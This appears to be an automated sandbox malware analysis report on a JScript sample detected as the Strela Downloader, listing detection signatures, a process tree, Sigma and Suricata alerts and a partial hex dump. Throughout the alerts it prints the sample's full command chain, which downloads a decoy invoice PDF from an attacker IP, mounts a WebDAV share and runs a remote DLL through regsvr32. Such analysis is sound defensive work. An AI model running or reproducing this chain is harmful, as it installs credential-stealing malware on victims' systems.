Edit tour

Windows Analysis Report
7222172992877722612.js

Overview

General Information

Sample name:	7222172992877722612.js
Analysis ID:	1588604
MD5:	89cf683bafe5f6dc4cabdcfa21461d24
SHA1:	903e3756983693e652ea800d550d772579777438
SHA256:	f7f8b9a12b2dd6cc09cdc0af1916d6b66bb6a3b882b24298ca1ed29db77119f8
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 3536 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7222172992877722612.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 4896 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2680 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6568 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 5388 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 4236 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 3492 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2084 --field-trial-handle=1744,i,14698920099243771332,9646005453115857784,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 2404 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 5696 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 3880 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 3536	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4896, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6568, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4896, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6568, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7222172992877722612.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7222172992877722612.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7222172992877722612.js", ProcessId: 3536, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 5696, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49711

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7222172992877722612.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3536, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll, ProcessId: 4896, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7222172992877722612.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3536, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll, ProcessId: 4896, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7222172992877722612.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3536, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll, ProcessId: 4896, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7222172992877722612.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3536, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll, ProcessId: 4896, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7222172992877722612.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3536, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll, ProcessId: 4896, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7222172992877722612.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7222172992877722612.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7222172992877722612.js", ProcessId: 3536, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4896, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6568, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2404, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5696, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 3880, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2404, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5696, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7222172992877722612.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3536, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll, ProcessId: 4896, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:03:36.053622+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.6	49710	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:03:38.673598+0100	1810005	1	Potentially Bad Traffic	192.168.2.6	49711	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:03:36.053622+0100	1810000	2	Potentially Bad Traffic	192.168.2.6	49710	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 7222172992877722612.js

Virustotal: Detection: 9%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 7222172992877722612.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 7222172992877722612.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.6:49710 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.6:49711 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:03:35 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

